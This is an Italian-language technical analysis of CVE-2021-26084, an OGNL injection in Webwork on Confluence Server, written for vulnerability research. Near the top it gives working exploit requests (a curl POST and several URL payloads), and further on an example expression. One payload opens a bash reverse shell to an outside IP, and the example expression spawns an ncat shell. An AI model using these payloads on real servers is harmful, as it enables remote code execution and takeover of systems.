
CVE-2021-26084 - Iniezione OGNL di Webwork in Confluence Server
Questa analisi fornisce una panoramica della CVE-2021-26084 - iniezione OGNL in Webwork su Confluence Server [1] che consentirebbe a un utente autenticato di eseguire codice arbitrario su un'istanza di Confluence Server o Data Center.
Confluence Server / Data Center utilizza il framework Webwork 2 MVC per processare le richieste web e il livello di visualizzazione è costituito principalmente da template Velocity. Una doppia valutazione viene eseguita quando i template Velocity utilizzano tag Webwork con un attributo value che contiene $. Quando viene incontrato un tag Webwork con un attributo Value che ha un $, una prima valutazione avviene durante il parsing del template Velocity; questo valore valutato viene poi passato al tag Webwork che valuta ulteriormente il valore come espressione OGNL. Se la classe action espone una funzione setter per il parametro usato nell'attributo value, questo parametro può essere impostato dall'URL tramite i parametri URL.. Quindi, creando un URL con un payload OGNL, un attaccante può eseguire codice remoto nelle versioni interessate di Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
Le vulnerabilità di iniezione di Expression Language sorgono quando un'applicazione incorpora dati controllabili dall'utente in una stringa che viene valutata dinamicamente da un interprete di codice. Se i dati utente non sono validati in modo rigoroso, un attaccante può usare un input opportunamente modificato per alterare il codice da eseguire e iniettare codice arbitrario che verrà eseguito dal server [2]. Object-Graph Navigation Language (OGNL) [3] è un linguaggio di espressione per la gestione di oggetti Java. Quando è presente una vulnerabilità di iniezione OGNL, l'attaccante può iniettare espressioni OGNL che possono essere utilizzate per eseguire codice Java arbitrario. Oltre al recupero/impostazione di proprietà, OGNL supporta molte altre funzionalità, tra cui le seguenti sembrano interessanti dal punto di vista dello sviluppo di exploit:
Chiamata di metodi statici: @java.lang.Runtime@getRuntime()
Chiamata di costruttori: new java.lang.String[]{'/bin/bash','-c', ‘xcalc’}
Capacità di lavorare con variabili di contesto: #attr["webwork.valueStack"]
Chiamata di metodi: #attr["webwork.valueStack"].findValue()
Combinando i costrutti sopra elencati si può formare un'espressione OGNL valida. Di seguito è mostrata una tipica espressione OGNL:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 è un framework MVC di tipo pull costruito sopra un framework API basato sul pattern command chiamato XWork, ed è il predecessore del popolare Apache Struts2. Confluence usa il WebWork 2 di OpenSymphony per processare le richieste web inviate dagli utenti. Webwork supporta un potente Expression Language basato su OGNL per navigare nel suo stack di oggetti (a.k.a. ValueStack). Supporta inoltre molteplici tecnologie di visualizzazione, tra cui JSP, FreeMarker, Velocity, e fornisce anche una ricca libreria di tag. “WebWork: Strutting the OpenSymphony way” di Mike Cannon-Brookes [4] fornisce un'ottima panoramica del framework Webwork 2. Tra le altre cose di particolare interesse per questa vulnerabilità c'è il supporto di Webwork per:
L'individuazione della vulnerabilità ha coinvolto principalmente un approccio di white box testing in cui è stata usata la strumentazione del codice sorgente per analizzare la valutazione OGNL. Seguendo l'eccellente ricerca del ricercatore GHSL Man Yue Mo sull'iniezione OGNL in Apache Struts [5] [6] [7] è stato notato che il metodo evaluateParams della classe UIBean rappresentava un candidato interessante. La base di codice della libreria webwork nel Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) è stata estratta con JD GUI e analizzata per metodi simili a evaluateParams. La corrispondenza più vicina era il metodo protected void evaluateParams(OgnlValueStack stack) in com.opensymphony.webwork.views.jsp.ui.AbstractUITag. L'analisi del codice sorgente ha inoltre rivelato l'esistenza di una classe com.opensymphony.webwork.util.SafeExpressionUtil che bloccava la maggior parte dei payload OGNL.
Poiché l'autore aveva poca esperienza nell'eseguire il Confluence Server tramite un debugger, sono state usate semplici istruzioni di stampa per scrivere i risultati della valutazione OGNL su stdout nelle classi sopra menzionate. I passaggi per strumentare il codice sorgente sono stati:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
Con la libreria webwork strumentata in posizione, è stato osservato che l'attributo value dei tag webwork è un potenziale punto di iniezione, poiché il rendering terminava nel metodo evaluateParams e l'attributo value veniva valutato come OGNL. È stato inoltre osservato che se il template Velocity conteneva un tag webwork il cui attributo value era impostato usando il costrutto $, questo valore veniva valutato durante il rendering del template Velocity e il valore valutato veniva passato al tag Webwork. Un tipico esempio di tale tag è:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
Sebbene l'attributo value elaborasse l'input come OGNL, c'erano apici singoli attorno al costrutto $ che facevano sì che l'input fosse trattato come stringa. Per aggirare questa restrizione è stata usata la sequenza di escape Unicode, poiché passare gli apici singoli direttamente faceva sì che venissero convertiti in entità HTML prima di raggiungere il punto di esecuzione OGNL. La sequenza di escape Unicode viene parsata all'interno di OgnlUtil.compile e viene formato un ognl.ASTAdd che causa la valutazione del payload OGNL iniettato.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

È stata effettuata una ricerca nella base di codice di Confluence per file Velocity che corrispondessero a un pattern regex e che avessero un tag webwork e $ nel proprio attributo. Una volta identificato il file Velocity, la corrispondente classe action che usava il template Velocity è stata identificata sfogliando il file di configurazione xwork, cioè xwork.xml (all'interno di confluence-x.y.z.jar). Il processo è più o meno il seguente:
Il file content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) conteneva il seguente tag Webwork
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
L'attributo value, templateId, può essere impostato passando un parametro URL sourceTemplateId all'endpoint docreatepagefromtemplate.action. Quando viene passato un parametro URL chiamato sourceTemplateId, la funzione setter della classe action (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction), cioè setSourceTemplateId, viene invocata dal framework e imposta il valore della variabile membro sourceTemplateId.
Quando il template Velocity viene parsato, ${templateId} viene inizialmente valutato chiamando la funzione getTemplateId della classe action, che restituisce il valore della variabile membro sourceTemplateId.

Questo valore valutato viene poi passato all'attributo value del tag Webwork, che a sua volta valuta l'attributo value come espressione OGNL. Infine, utilizzando la sequenza di escape Unicode e facendo uso della variabile #attr["webwork.valueStack"], è possibile bypassare la sandbox SafeExpressionUtil usata dai tag WebWork ed eseguire codice Java arbitrario.
